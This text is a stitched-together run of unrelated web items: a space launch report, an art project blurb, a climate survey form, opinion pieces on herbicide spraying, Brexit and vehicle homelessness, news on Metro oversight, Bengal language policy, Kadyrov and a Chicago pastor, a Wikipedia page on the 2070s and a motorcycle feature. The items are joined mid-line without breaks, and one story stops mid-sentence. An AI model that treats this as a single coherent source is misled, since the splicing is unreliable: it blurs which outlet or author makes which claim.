She currently[when?] works for Lockheed on the F-35 project.[1] On September 7, 2017, Penney and her father, John Penney, gave a lecture titled 9/11 Perspectives at National Air and Space Museum as part of the GE Aviation Lecture Series.[8]
See also [ edit ]DARMSTADT, Germany — Europe's Sentinel-3A Earth observation satellite on Feb. 16 was successfully placed into low Earth orbit aboard a German-Russian Rockot launch vehicle operating from the Plesetsk Cosmodrome in northern Russia.
Officials at the European Space Agency's space operations center, ESOC, here confirmed that the satellite was in the correct location and sending signals via a ground station in Kiruna, Sweden and that its solar panels had correctly deployed.
The launch is the latest milestone in Europe's multibillion-euro Copernicus environment-monitoring network, which features a half-dozen satellite families, several of which have been ordered in batches to assure an uninterrupted data flow for a decade or more.
That is the case with Sentinel-3A, whose multi-instrument payload will monitor ocean wave height, sea and land temperature, sea-ice area and thickness and contribute to weather forecasting.
Europe's 30-nation Eumetsat organization, based here, will operate Sentinel-3A after a five-month commissioning phase managed by the 22-nation European Space Agency (ESA).
The European Commission — the executive arm of the 28-nation European Union — owns the Copernicus network and has set aside 4.3 billion euros for it in its current seven-year budget running to 2020.
With a recent prime contract award to Thales Alenia Space of France and Italy for the third and fourth copies of Sentinel-3A satellites, this piece of the Copernicus puzzle is now assured of data continuity for at least 14 years – each satellite has a minimum expected life of seven years – and more like 24 years given the amount of on-board fuel each spacecraft carries.
Sentinel-3A was contracted in April 2008, with the identical 3B contracted in early 2010 for a total of 530 million euros, or $576 million at today’s exchange rates, for the two satellites. The 3C and 3D models were contracted earlier this year in a single contract that valued each satellite at 225 million euros.
Volker Liebig, director of Earth observation at ESA, said the 3C and 3D units cost about the same as the 3B ordered six years earlier. Liebig said the entire Sentinel satellite program is now less than 5 percent over its initial cost estimate, made in 2005, despite the fact that, in part owning to European Commission rules, ESA was unable to make bulk purchases of the Sentinel 1, 2 and 3 series – a total of 12 satellites.
Given the recent costs of the C and D units for Sentinels 1, 2 and 3, it is all but certain that by 2020 the program will have come in under its initial budget. "I don't know many public infrastructure programs that can say that," Liebig said. "It was only possible by working very closely with European industry, so Sentinel is an industrial success as well."
Sentinel-3B is scheduled for launch, aboard a European Vega rocket, in mid-2017, with the 3C and 3D units set to be ready as soon as 2019 or 2020, depending on when they are needed.
The Sentinels 1, 2 and 3 series are all designed to operate as two-satellite missions, with the spacecraft spaced 180 degrees from each other. The Sentinel-3 satellites operate from 815 kilometers in a polar, sun-synchronous orbit.
The European Commission estimates that, with six Sentinel satellites in orbit, the program will be beaming down 8 terabytes per day of data, making Copernicus a Big Data challenge.
This story was provided by SpaceNews, dedicated to covering all aspects of the space industry.About City of Drones
City of Drones is an interactive digital environment developed by musician John Cale, speculative architect Liam Young and digital artists FIELD. Charting the story of a lost drone drifting through an abstract cityscape, players are invited to pilot a virtual craft and remotely explore this imaginary world. Samples from Cale’s original soundscape compositions echo across the landscape as we see the city through the eyes of the drone, buzzing between the buildings, drifting endlessly, in an ambient audio visual choreography.
Part of
Loop, 60Hz, 2014
John Cale + Liam Young
The City of Drones digital environment accompanies Loop, 60hz, an immersive live music and drone performance.
John Cale, known for experimenting with different industrial sounds in his practice, once tuned his instruments to the hum of refrigerator motors.
Cale in collaboration with Liam Young now explore the soundscape of a new generation, the distant rumble of drone propellers, to be set against the visual spectacle of Young’s choreographed flying machines. Typically associated with militarised applications, each drone is repurposed here as both disembodied instrument and dynamic audio infrastructure.www.zoho.com/survey Make smarter decisions You have disabled JavaScript in your browser, in which case you will have to enable it to properly use this site.
This question requires an answer What is your gender? * Male Female What is your age group? 18-24
24-32
33-45
45-65 This question requires an answer On a scale of 1 to 5, how concerned do you feel about climate change? * 1- extremely concerned
2- very concerned
3- reasonably concerned
4- somewhat concerned
5- not concerned This question requires an answer Have you ever heard of the term "carbon tax"? * Yes
No This question requires an answer Do you think it would be fair, and a good idea, to implement an environmental reform that taxes the emission of CO₂ in order to encourage the reduction of carbon emission? * Yes
No
No Opinion Do you often participate in call to actions, or are actively engaged in environmental campaigns? Yes
No
Sometimes This question requires an answer Do you believe climate change is caused by human activity? * Yes
No
Not entirely This question requires an answer How likely would you be to support an environmental tax reform (carbon tax) in Massachussets, if you knew about how much it would positively impact our environment? * Very likely
Likely
Somewhat Likely
Unlikely This question requires an answer Briefly, what obstacles prevent you from getting involved in environmental campaigns that could help fight climate change? *
Cambridge Against Carbon Your submission needs a few edits Please review the highlighted questions below FIRST_PAGE_HTML CAPTCHA Verification Enter the text from the image Incorrect entryLast Tuesday, Homeland Security’s very own Border Patrol announced they were canceling their plans to begin aerial spraying of the pesticide imazapyr along a stretch of the Rio Grande the following day. In other words, the agency that demands billions to seal America’s borders (in large part so they can prevent Americans from voluntarily putting dangerous chemicals in their own bodies) grudgingly changed their own plan to expose Americans to dangerous chemicals. So, the fact our Federal Government belatedly delayed plans to spray weed killers over a small part of our water supply is good news. But the fact that they considered this reckless "plan" in the first place is ominous. Where did this wacko idea come from, and why did it take so long to fail?
Like so many of the ecocidal schemes that federal agencies use federal dollars for in the Southwest, this poison plan came from the neighborhood slurp-fest among local land speculators/"business interests," and the obedient local pols who service them. Like so many federal schemes for the Southwest, Border Patrol/Homeland Security’s plan for aerial poison spraying along a densely populated stretch of the Rio Grande sacrifices the "commons" — the local community and their shared health and welfare — in service of some abstract goals that just happened to hold out a whole pot of water money for the local fat cats.
How do we know? Texas Border Coalition chair and Eagle Pass mayor Chad Foster quite openly told us:
Eagle Pass Mayor Chad Foster, who chairs the Texas Border Coalition, said border security would be improved if the government cleared out the Carrizo cane and Salt cedar along the banks of the Rio Grande. "We have a great natural resource, the Rio Grande. Let’s give Border Patrol line of sight. That way they can put in a virtual fence," Foster said. "Besides, the water sucked out of the river by Carrizo cane and Salt cedar could feed the city of Brownsville for four years."
A "great resource," indeed.
Oh, heck, that stuff about local land developers and business types using their cozy relationships with the local pols they fund in order to use government agencies to grab water supplies from another region so the developers make more fortunes with the water they’ve "freed up" is just fiction, right, Mr. Mullholland and Mr. Eaton? Um... sure, Jake.
Along the Rio Grande Valley, the big clout’s in the Texas Border Coalition. The Coalition opposes the Great Border Wall, but loves them their weed killers. And Senator Cornyn listened. Well, he listened to the pesticide love.
Cornyn said he was listening to and acting upon the concerns of border leaders and, by way of an example, cited Eagle Pass Mayor Chad Foster’s push to have Carrizo cane eradicated or reduced along the Rio Grande. Cornyn said removing the cane would provide numerous benefits, including water conservation, enhanced border security and other advantages. If implemented, the proposal could impact where border fencing would go. "There is no substitute for advice from those who live on the border year-round. The Carrizo cane idea is a perfect example – it has been pushed for months by Mayor Chad Foster of Eagle Pass and others." Foster, chairman of the Texas Border Coalition (TBC), has been recommending removal of Carrizo cane and Salt cedar from the banks of the Rio Grande for over a year so that Border Patrol have better line of sight to the river.
Gee, when the Senator listened, so did US Customs and Border Patrol’s incoming Deputy Chief... and the Texas state Senator from Brownsville.
Among the federal officials planning to attend the Brownsville meeting, Cornyn said, are the incoming Deputy Chief of U.S. Customs and Border Protection (CBP) Ron Colburn, IBWC Commissioner Carlos Marin, and a special adviser to CBP Commissioner Ralph Basham.
Yep, the same Border Patrol that adopted Mayor Foster’s poison spraying plan for their very own. Yep: the same Brownsville that Mayor Foster says will get four or five years worth of water from the poison spraying.
Of course, folks along the border not marooned on Planet Cornyn offered plenty of substitutions for Mayor Foster’s "advice." They even demanded solutions that didn’t happen to give bonuses to developers in Brownsville... and didn’t "require" this arid region’s primary watercourse (and those living along it) to suffer mass spraying of apparently toxic chemicals known to persist in soil for long periods of time.
You see, like so many of the deadly chemicals we collectively know as "pesticides," the herbicide (plant killing chemical) licensed as "imazapyr" is largely a stranger to us. No one knows what happens to humans born to those who were themselves exposed to small quantities of the chemical in their own mothers’ wombs. Those sort of detailed epidemiological studies are the only way we can truly know how a chemical affects us over generations: for imazapyr, as for many other chemicals already licensed for use by EPA and CalEPA, the data are simply unknown. We also have no way of knowing how simultaneous exposure to trace amounts of imazapyr along with other pesticides already contaminating the Rio Grande Valley will harm those living their, those living in wombs there, or those womb-dwellers’ future offspring.
Thanks to the good folks at Alaska Community Action on Toxics, Rio Grande Valley residents and activists as well as the rest of us have been reminded of what the Northwest Coalition Of Alternatives To Pesticides published in 1996
•Rabbits dermally exposed to imazapyr and rats inhaling
Arsenal both showed bleeding and congested lungs.
Congestion of the liver, intestine, and kidneys was also
observed.
• Rabbits given imazapyr orally exhibited stomach ulcers
and intestinal lesions at most doses tested.
• There is no information on the hazards imazapyr and
imazapyr herbicides pose to fish. However, a closely related
herbicide (imazamethabenz-methyl) has high
chronic toxicity to fish, with effects occurring at concentrations
less than one part per million.
• Mice and rats fed sublethal doses of imazapyr over two
years showed fluid accumulation in the air sacs of the lungs,
brain congestion, kidney cysts, abnormal blood formation
in the spleen, blood pooling in the liver, thyroid cysts,
tumors, and cancers, brain tumors, adrenal gland tumors
and cancers, and decreased food efficiency.
Oh, and because the poison-industrial complex that makes pesticides long ago bribed made the right campaign contributions, almost half of the stuff comprising the imazapyr product most commonly used is so secret we citizens aren’t allowed to know what’s in it. Simply by calling an ingredient "inert," the posion manufacturers get to keep it a big secret. The serial poisoners’ "trade secrets," you see, are far more valuable than our puny lives. Or our kids’ puny lives. The business of pesticide regulation is business, don’cha know? And the business of the Texas Border Coalition, whatever it may be, appears to discount the lives and health of those who would be directly exposed to an apparently limitless poison spraying program, a program the TBC hoped would be extended to over one hundred miles of the Rio Grande.
Those of us whose heads aren’t implanted in the backsides of local Southwest pols and the land speculators/developers they depend upon for bribes campaign contributions can literally afford to take a wider view. In September, 2007 Californians For Alternatives To Toxics sued to prevent widespread application of imazapyr over dozens of miles along California’s Eel River. They succeeded; in granting their preliminary injunction Superior Court Judge Michael Brown took imazapyr’s potential dangers into account and required state agencies to prepare full environmental impact reports according to CEQA, the state’s environmental protection law. Over a decade ago, Arundo donax, the very plant which almost became the target of the aerial offensive Foster and the Texas Border Coalition so desired, became the focus of community action in SoCal’s Topanga Canyon. Then, the emergency du jour was "invasive species." Officials with the Golden state’s State Parks Department planned to purify the native biota of Topanga Canyon with vigorous applications of Roundup/glyphosate to invasive Arundo reeds. As the "gold" atop the "Golden state’s" tawny summer hills is the result of invasive species imported during the Spanish conquest, locals opposed what appeared to be a limitless public plan for pesticide application. Locals also demanded full evaluation of alternatives: including goats!
What happened when the Department of Agriculture actually took the trouble to compare strategies to manage Arundo/Carizzo along the Rio Grande? Well, it turns out the USDA’s first choice isn’t deadly chemicals. Or goats. Nope: for Arundo/Carrizo along the Rio Grande, the USDA’s experts suggest wasps.
The USDA’s Animal and Plant Health Inspection Service (APHIS) announced on March 6 that it has completed an environmental assessment of the plague of the Arundo donax, as well as its possible cures, and concluded that the introduction of the reed-killing wasps is probably the best of a handful of potential solutions.
Mayor Foster’s "plan" — the local pol’s scheme that Planet Cornyn touted and Homeland Security’s satraps along the Rio Grande frontier duly adopted — fails to fully consider both risks and alternatives, and hence fails the precautionary principle. The "plan" is merely a giant crapshoot. We don’t fully know how the imazapyr spraying will affect this generation, much less future generations, so we can’t possibly know how spraying the stuff along the river used for drinking water could harm the people who drink that water. Or anything else that drinks that water. Or will. We literally have no way of calculating how the "plan" pushed by local pols and subservient Federal officials focused on a small area will affect the health, lives, and futures of everyone living in the region. The "plan" the Border Patrol put on ice Tuesday was simply another Federally-backed, privately hatched gamble with the "commons" upon which we all depend for our very survival.
Unlike the Feds’ "plan" to rescue the banksters, this Federally endorsed raid on the commons has been stopped. For now.
For the future — if and when the local pols and local Feds get all hot and bothered about getting out their nozzles and getting down to spraying — another solution that worked in Topanga may be helpful. Topanga lies astride Hwy 27, one of LA’s congested commuter routes. The day after the public meeting where Topangans and an EarthFirst! type talked openly of legal, peaceful drive-time protests along Hwy 27, the most powerful local pol’s office rolled over: drop the commute time protests (and the certain traffic problems they’d cause), and the state would drop the spraying. And the state did. Of course, such legal and powerful means to motivate local pols would only be available to those living along congested transport corridors. Peaceful legal non-violent direct action can still, sometimes, get the goods. Even against Homeland Security.
Bon appetit.Unless David Cameron performs a miracle in Europe, I will end up voting for the United Kingdom to leave the EU when the referendum is held. On current trajectory, I will be backing the losing side.
At every turn since 1974, all incumbent governing parties have found a way not to hold a plebiscite on any element of our country’s relations with the EU. As a brand new MP I watched my own party rip itself apart over Maastricht, and then under subsequent leaders fight over issues in which most voters have shown little interest. That was until the birth of Ukip. With an In/Out referendum now being offered, we are indeed in a new era.
Referendums in the UK historically don’t happen very often, although in the last parliament there were several: city mayors, Welsh further powers, AV, and of course Scotland. For that reason, the campaigns in referendums aren't as sophisticated as elections fought by political parties. The Scottish vote in September last year was unique because the arguments were fresh, the engagement was off the scale, and people felt the result would really matter. There was no precedent for the Scottish referendum. And that mattered.
It isn’t the same for the EU referendum. I remember the 1975 vote when I, to my regret, voted to remain in the EEC as it then was. Its aftermath has echoed through British politics ever since and that’s why I don’t have the confidence that the "outters" can win.
It isn’t a case of just throwing together a campaign at the last minute and hoping for the best. Who will the leader be? Where will the backing come from? Who will provide the infrastructure?
The "in" campaign has already started. Every day this week we’ve heard the warnings. The CBI, Airbus, Deutsche Bank, the list goes on. Soon, foreign governments and President after President, Prime Minister after Prime Minister will all start to sound their own warnings. They may be vested interests, but their voices will be heard.
I don’t think it is impossible for the "outters" to win, but us Eurosceptics need to get our ducks in a row.
We need the infrastructure. Ukip – as we have seen this week – can hardly run its own party, let alone a campaign of this scale. The Scottish Yes campaign signposts the way. Positive messaging, a charismatic leader and willing supporters. Sadly, as entertaining as charismatic as Nigel Farage can be, he is not the man for the job. He is no Alex Salmond or Nicola Sturgeon. Farage’s messaging is rarely positive; and this stuff matters. An examination of how social media were dominated by the Scottish nationalists demonstrates the strength and depth of their campaign. Somehow, I can’t envisage many positive ‘cybersceptics’.
Instead, we need a positive vision for the future. Britain as a global trading nation freed from the shackles of euro-socialist regulation and dogma. A Britain no longer harnessed to a trading bloc in relative global decline. This isn't happening.
And the funding for an effective "Out" campaign needs to be found too. In 1975, the "yes" campaign outspent the "noes" by 10 to 1. This must not be allowed to happen again.
But before all this can begin and I write off the "Out" campaign, the renegotiation which starts in Riga this weekend needs to be given a chance. David Cameron can’t do that if his own party is scrambling around in the background campaigning regardless – even if like me, you think we’d be better off out. The campaign proper must begin behind the scenes, but it needs to be sensitive to the public mood.
And if the Conservative Party is not going to descend into the chaos that was Maastricht in the 1992-97 Parliament leading to its biggest defeat, Government Ministers must be allowed the freedom to voice their view publicly on whether to remain in the EU once the renegotiations are over. If Number 10 instructs the Government Chief Whip to impose discipline, it will lead to ministerial resignations and worse. I saw it happen in that awful Maastricht period.
There is also the most important part of the whole campaign – the electorate. While many businesses fearful of uncertainty and foreign government concerned over EU funding will state the ‘in’ cause, an angry backlash from red faced besuited Eurosceptics isn’t the way to win over the British people who tend, in any event, to vote for the status quo.
So we "outters" will need to get our act together. All this needs time. Not only the renegotiation, but the structuring and funding of an "Out" campaign. I say: do not campaign for a referendum earlier than 2017. You will regret it! A quick referendum can only be to the advantage of those arguing to remain in.
This is ours to lose if we’re not very careful.
Michael Fabricant is the Conservative MP for LichfieldAmid concerns about the Washington Metropolitan Area Transit Authority's management of the second busiest transit system in the country, one member of Congress is threatening to strip WMATA of its current management and structure.
"If this nonsense continues in the lack of management and the ability to get extensive management in place, I will work, and I think I can get support, to require that the operations and management be put up for bid and be given to an operating company," Rep. John L. Mica said at a hearing on Metro safety and management Tuesday evening. The Florida Republican, who chairs the House Oversight and Government Reform Transportation and Public Assets Subcommittee, was presiding over a hearing that sought to provide an update after a deadly January incident in a Metro tunnel. On Jan. 12, dozens of passengers were hospitalized and one died after a southbound Yellow Line stopped in a tunnel near the L'Enfant Plaza Metro stop and filled with smoke.
The incident and subsequent Metro issues, as well as a safety assessment by the Federal Transit Administration and an ongoing National Transportation Safety Board investigation, revealed mismanagement of the transit system, causing federal and local lawmakers to push for WMATA to hire a long-term general manager/chief executive officer.
Jack Requa, the interim general manager who has held the post since January, said the new CEO is expected to be selected this fall. But that might not be enough to quell congressional efforts for an overhaul.
Mica said his deadline for taking action was September, noting lawmakers could insert a provision into a spending bill to address it. "September, we’ll look at what they’ve done, how did they respond?" Mica told CQ Roll Call after the hearing.
Referring to his idea to alter Metro management, Mica said, "But that’s something we can put in an appropriations bill as a caveat. So you know if they can’t manage it, we’ll find somebody that can, and hopefully do it more efficiently, ensure safety and make the improvement. I mean how damn long do you want to wait for some of these improvements?”
However, when asked if he would wait and see if a new general manger could turn Metro around, Mica said, "We’ll see. It depends on what the members want to do."
Rep. Gerald E. Connolly, D-Va., focused on the search for a new CEO at the hearing, questioning Metro's board of directors' decision not to require that candidates have government or transit industry experience. Requa noted in his testimony that the search for a general manager will also include candidates with "extensive financial management experience."
"The idea that we wouldn’t put operations as central to the mission of a new general manager boggles my mind,” Connolly said.
Connolly listed out three crises that must be addressed: one in management, one in public confidence in Metro, and one of safety. He pointed to the brutal stabbing of a young man on a train as it approached the NoMa-Gallaudet U Metro stop on July 4th.
"I’m old enough to remember our boasting of the fact that we hadn’t had a single crime on our Metro system," Connolly said. "Now we have a murder on a car in front of the public. How in the world could that happen on a well-run Metro in the nation’s capital?”
WMATA representatives at the hearing said they were taking steps to address FTA and National Transportation Safety Board recommendations, including the issue that a number of power cable connectors were missing "sealing sleeves" to protect cables from moisture and other particles. NTSB noted in an urgent recommendation that moisture on the cables could increase the possiblitiy of the electrical malfunction that caused the tunnel to fill with smoke in January.
Mica, who indicated he had seen the underground cables himself, asked if the connections were inspected. "I looked at it, the very large wire connector... but it doesn't take a rocket scientist to see it somehow shorted out. I assumed at the time I looked at it, it may have been water getting into that."
Requa responded,"Following the comment by the NTSB, we inspected all of the connections within the system, we prioritized those that we feel need to be addressed in a priority order. We're taking actions to now."
The day before the hearing, Metro also announced a new fire/rescue liaison officer to enhance coordination among emergency responders in the wake of the L'Enfant incident. However, the liaison will only be stationed in Metro's control center for 40 hours per week. According to NBC 4, officials hoped the position would be around the clock, but staffing and funding concerns limited the hours.
Funding also came up in Tuesday's hearing, with one member of Congress noting that lawmakers have an obligation to fully fund the system.
“In all those hearings and meetings there has been no evidence that Metro itself is unsafe," Del. Eleanor Holmes Norton, D-D.C., said. "I did say this," she added, "that if Congress cuts $50 million from capital funding... then we can be assured that we are moving toward unsafety."
Norton was pointing to lawmakers' recent moves to cut federal funding of WMATA by one-third. Congress typically allots $150 million for the transit system, which transports thousands of tourists and federal workers each day, but appropriators moved to cut $50 million of those funds, citing financial mismanagement.
Related:The news Urijah Faber has decided to make his UFC on FOX 22 fight with Brad Pickett his retirement fight sent shockwaves through the mixed martial arts world Monday.
But when the former WEC featherweight champion and future Hall of Famer announced on The MMA Hour he's decided hang up the gloves, it also came with a sense of excitement. Faber will finish his career in his hometown of Sacramento, where he had so many memorable battles, and do so at the first UFC card at the city's new downtown arena.
Sharing in the excitement is Pickett himself. The well liked British bantamweight reached out to MMAFighting.com's Ariel Helwani |
The 2070s (pronounced "twenty-seventies") is a decade of the Gregorian calendar that will begin on January 1, 2070 and will end on December 31, 2079.
Notable predictions and known events [ edit ]
2070 [ edit ]
2073 [ edit ]
2074 [ edit ]
February 22 - Asteroid 2 Pallas will make a record close approach to Earth at 1.233 AU.
2075 [ edit ]
The ozone layer is expected to have fully recovered.[2]
2076 [ edit ]
c. May 31 - the planetoid 90377 Sedna is expected to reach its perihelion, its closest point to the Sun. It is expected to reach a distance of 76 AU, or 76 times the average distance Earth is from the Sun. Sedna has a highly elliptical orbit, thus it is difficult to locate; at its aphelion, it reaches a distance of about 942 AU. This date is subject to adjustment as Sedna's orbit is still being refined.
2079 [ edit ]
May 1 - A total solar eclipse is predicted for New York City in the United States, as well as Nova Scotia in Canada. [3]
June 6 - The smalldatetime fields in SQL-Server databases will wrap around to January 1, 1900.
August 11 - Mercury occults Mars for the first time since 578. It is difficult to observe, but is the best observable occultation of a planet by another in the 21st century.
Fictional references [ edit ]We need regional off-street parking areas matched with social-service outreach to help those living in their vehicles.
THERE is no easy way to be homeless. Despite opinions about how people become homeless, there is a hardship happening under the noses of all of us who are safely housed.
Despite our collective efforts that started more than a dozen years ago to alleviate the harm of homelessness, the annual unsheltered count went up more than 20 percent in King County. Some progress has been made to address homelessness for families, youths, veterans, singles and domestic-violence survivors. But it is just not enough.
Lost in the shuffle are the homeless living in their vehicles — what we call “the rough road.” It is a problem in most jurisdictions. One-third of the homeless people counted each year in King County are living in a vehicle. And there is no clear nor adequate approach in helping them.
Living in your car is as hard, or harder, as being homeless in any other circumstance. Mostly it has to do with staying “street legal.” That means having current tabs, a license, title, tickets paid and basic repairs made to keep your vehicle running.
Jean Darsie is a volunteer member of the Seattle Scofflaw Mitigation Team. The Rev. Bill Kirlin-Hackett is director of the Interfaith Task Force on Homelessness and a volunteer member of the Seattle Scofflaw Mitigation Team.
Additionally, in Seattle, the vehicle needs to be moved every 72 hours in areas where it’s even allowed. Add in the hundreds of “No Parking 2-5 a.m.” signs — clearly aimed at those living in vehicles — and the dilemma is clear.
Seattle’s “scofflaw” ordinance is particularly egregious. Four or more tickets can quickly lead to losing one’s vehicle and home. Were it not for the volunteer efforts of advocates working closely with city staff members to mitigate the effects of this ordinance, there would be hundreds of vehicles impounded and even more people left homeless. The scofflaw ordinance has failed to help the indigent. And despite repeated requests, neither Mayor Ed Murray nor the City Council has remedied this situation.
What does this harm look like?
• An elderly father, recently hospitalized with pneumonia, and his son had their vehicle impounded and were forced to live on the street for more than a week before friends and advocates could assist them in retrieving their vehicle-home from impound. The resultant cost to the city — likely as much as an estimated $1,000 — reflects the agencies involved, including police, the Municipal Court and human services.
• A young couple (she is six-months pregnant) had their vehicle impounded at 2 a.m., thus leaving them without shelter.
• A young man who resides in an RV had the car he uses to get services and to work impounded.
In none of these cases were volunteer advocates notified so they could attempt to mitigate the harm.
This crisis for people living in vehicles is hardly limited to Seattle. A Kirkland congregation recently reported 21 households residing in vehicles in their parking lot. This congregation works outside any systemic response, because there is none outside Seattle.
By definition, when you “take the high road,” it means doing the right thing even if it’s not popular or easy. What’s needed for us to take the high road?
To begin, we need a commitment by cities and King County to do coordinated harm reduction regarding people living in vehicles.”
To begin, we need a commitment by cities and King County to do coordinated harm reduction regarding people living in vehicles. This requires regional safe places for off-street parking. Add in social services and you can create a pathway to exit homelessness.
Some West Coast cities, such as Eugene, Ore., Santa Barbara, Calif., and San Diego, have been doing this successfully. Current programs, such as Seattle’s “Road to Housing,” are too limited to meet the growing need. Volunteer efforts are overwhelmed. Since we can assume there will not be enough safe places to park for the 1,000-plus in need, make parking on public streets less toxic. Remove the “No Parking 2-5 a.m.” signs. And reconsider Seattle’s move-every-72-hours rule and where it is applied.
Regionally, allow police to partner with service providers, allowing for options to keep those living in their cars from further legal harm. Finally, jurisdictions must consider the indigence when implementing policies and procedures so that harm is reduced for those who are homeless and living in vehicles.Education Minister Partha Chatterjee students in Bengal will have to study three languages from Class 1.
West Bengal Education Minister Partha Chatterjee has announced that all school students in the state will have to study three languages, one of which will have to be Bengali. The three language policy will ensure the mother tongue, regional language and an international language are given equal importance, he said.Late last night, during a press conference at his home, he said that all private, government as well as ICSE and CBSE-affiliated schools will have to make Bengali compulsory. Students will be free to pick the other two languages.Earlier, students had to study three languages - English and the mother tongue from Class 1 while the third language made its way at the secondary stage. But now the learning of all three will have to start from Class 1."From now on, it will be mandatory for students to learn Bengali in schools. The schools affiliated to other boards (ICSE/CBSE) will have to make Bengali as an optional subject from Class 1, giving students the option to choose it either as second or third language," Mr Chatterjee said.The minister said the decision was prompted following feedback that Bengali was not being offered as an option in many schools."We will take into account the legal aspect as to whether a separate legislation is needed or a state cabinet decision will be enough," he added.Welcoming the move, noted historian and writer Nrisingha Prasad Bhaduri said, "Why will our children not know Bengali? It is a fact that students in many schools do not have Bengali in their curriculum. The state's initiative is laudable."Last month, the central government proposed to make Hindi compulsory till Class 10 in north India but rejected a recommendation that it be made mandatory for students in non-Hindi speaking states as well. Hindi is a compulsory language in north India till Class 8. In Classes 9 and 10, CBSE students have the option of studying some other language including Sanskrit.MOSCOW -- Hundreds of Muslims protesting angrily outside the Burmese Embassy here in the Russian capital. Strident calls for an end to the "genocide" of Muslims in Burma. And a flash mob to #SaveRohingya on Russian websites ahead of the UN General Assembly.
A sizable Russian campaign to support the beleaguered Rohingya Muslims of Burma, also known as Myanmar, was born over the weekend.
However, the effort was spearheaded not by President Vladimir Putin, the State Duma, or even Russia's Foreign Ministry, but rather by Chechen leader Ramzan Kadyrov.
And the push -- punctuated by Kadyrov lamenting that he couldn't call "a nuclear strike" on forces persecuting the Rohingya -- illustrates the considerable domestic clout of the leader of Russia's southern, mainly Muslim republic of Chechnya -- just one of Russia's 84 recognized regions.
But it also appears to signal Kadyrov's outsize foreign-policy ambitions, including ones that don't necessarily meld with Kremlin plans.
"For the Kremlin, these statements are a nasty surprise," Aleksei Malashenko*, research director at the Dialogue of Civilizations Research Institute in Berlin and author of numerous books and articles on Islam, says of Kadyrov's Rohingya rhetoric.
'A Muslim Leader'
At just 40, Kadyrov holds unparalleled power for a regional governor, the result, analysts say, of an arrangement with the Kremlin following two bloody wars in which Kadyrov has been given a free hand and generous financial backing in return for stability in the historically rebellious North Caucasus republic.
Regularly criticized for presiding over shocking human rights abuses in the region, Kadyrov has studiously cultivated relations with foreign dignitaries in the Middle East, including in Saudi Arabia, Jordan, and among Palestinian leaders.
"If Russia is going to support these jackals committing crimes today, then I am against Russia's position because I have my view, my position," Kadyrov told Instagram viewers via live video stream on September 2 in a reference to a Burmese military operation that has sent thousands of Rohingya refugees fleeing that Southeast Asian state and prompted fears of a major humanitarian crisis.
Two days later, on September 4, he mobilized thousands in the Chechen capital, Grozny, where he further criticized the treatment of the Muslim minority by Burmese officials.
WATCH: Protests In Russia Support Burma's Rohingya
By so publicly taking up the cause of Burma's Rohingya Muslims, Kadyrov appears to be seeking to cement his political weight at home by casting himself as a Muslim leader of global import.
"Ramzan wins from this," Malashenko says. "Ramzan wins hands down. Because he is positioning himself as a Muslim leader. Not a Caucasian leader. Not even a Russian leader. But a Muslim leader defending the Muslims of Burma."
A Problem For Putin?
The September 4 rally looked like a signature Kadyrov event, complete with lavish praise of Putin ("the chief of a great state, the leader of a nation with centuries-long religious and moral foundations, a politician and a person who respects Islam"); a seemingly inflated official turnout figure of over 1 million (nearly Chechnya's entire population); and a call, by a man accused of presiding over major rights violations and political violence at home, for an end to the bloodshed in Burma.
In an earlier Instagram video uploaded to YouTube, Kadyrov condemned the Russian media for allegedly ignoring the plight of Muslims in Burma. He suggested that if he were Russia's leader, he would take military action in response to unspecified calls for troops to help Muslims.
"It's impossible to send troops there, because this is the prerogative of the state," Kadyrov said. "If it were my will, and this were possible, I would launch a nuclear strike. I would simply destroy the people killing children, women, old people."
Malashenko calls Kadyrov's outspokenness on the issue "a problem for Russia."
"His actions -- the Moscow demonstration, the Grozny demonstration -- they have an undermining effect: they act against interconfessional solidarity in Russia," Malashenko says. "Look online, the demonstrations are being condemned and people are writing bad things about Muslims."
*CORRECTION: This article has been amended to correctly identify Mr. Malashenko as research director at the Dialogue of Civilizations Research Institute in Berlin.President Trump’s question to reporters on Tuesday about the possibility of tearing down historical monuments has been answered by a Chicago pastor: “It’s time.”
Bishop James E. Dukes of Chicago’s Liberation Christian Center made headlines in the Windy City on Wednesday for calling on Mayor Rahm Emanuel to rename Washington Park and remove a statue of the first U.S. president over his ties to slavery. Mr. Dukes told his Facebook flock that “it’s time” after Mr. Trump sparred with reporters over efforts to expunge Civil War-era monuments from existence.
“This week it’s Robert E. Lee. I noticed that Stonewall Jackson is coming down. I wonder is it George Washington next week and is it Thomas Jefferson the week after? You know, you really do have to ask yourself, where does it stop?” Mr. Trump asked reporters on Tuesday as he spoke on last weekend’s violence in Charlottesville, Virginia.
Protests over the removal of a statue of Confederate Gen. Robert E. resulted in the killing of Heather Heyer, 32, when suspect James Alex Fields, 20, plowed his vehicle into a crowd.
“It’s time. Please read my letter to Mayor Rahm Emanuel and The Chicago Park District,” Mr. Dukes wrote on Facebook Tuesday night. “I’m calling on them to change the names of Washington and Jackson Park. Slave owners do not deserve the honor of our children playing in parks named after them. There is no way a Native American Community would allow a General Custer Park or a Jewish Community allow a Gestapo Park in their community.”
The pastor’s letter was reported by a local CBS affiliate on Wednesday and shared on local radio.
“I am feeling ambivalent that I would have to walk my child, attend a parade or enjoy a game of softball in a park that commemorates the memory of a slave owner,” Mr. Dukes continued. “Therefore, I call on the immediate removal of President George Washington and President Andrew Jackson names from the parks located on the southeast side of Chicago. They should not have the distinct honor of being held as heroes when they actively participated in the slave trade.”
The pastor’s letter neglected to mention Washington’s role in the Battle of Yorktown, a pivotal victory for the general that secured the nation’s independence from Great Britain.
Representatives for the mayor did not immediately respond to the station’s requests for comment.It’s always fascinating to see the personal rides of well-known custom motorcycle builders. Rough Crafts’ Winston Yeh, for example, rides a tiny PGO 125cc scooter. This Ducati Pantah belongs to JvB-moto‘s Jens vom Brauck, and prowls the roads around Cologne in Germany.
“I wanted it to look like it was found in a shed in Bologna,” says vom Brauck. “A futuristic design study for a 1981 motor show, but never displayed … the work of a designer who was a café racer fan, but could not convince the Ducati factory.”
Vom Brauck has aimed for a mix of styles, materials and parts from the last 30 years. The wheels and tires are deliberately narrow in profile, to retain a retro look. A smattering of carbon fiber provides contrast. Vom Brauck cut down the Pantah’s rear subframe and heavily modified the tank, adding oil pressure and electrical warning lights.
The exhaust was built from parts Vom Brauck had lying around, including bits from an obscure MZ 1000S. “It has a nice, aggressive sound, but not too loud. And no, the butt doesn’t get too hot!” Performance is good: the Pantah weighs just 170 kg in this trim.
And before you ask, Vom Brauck has no plans to create another Pantah, or offer the parts for sale. For him, the Ducati has been a very personal endeavor, created over three years. A shame, but at least we can enjoy the images.
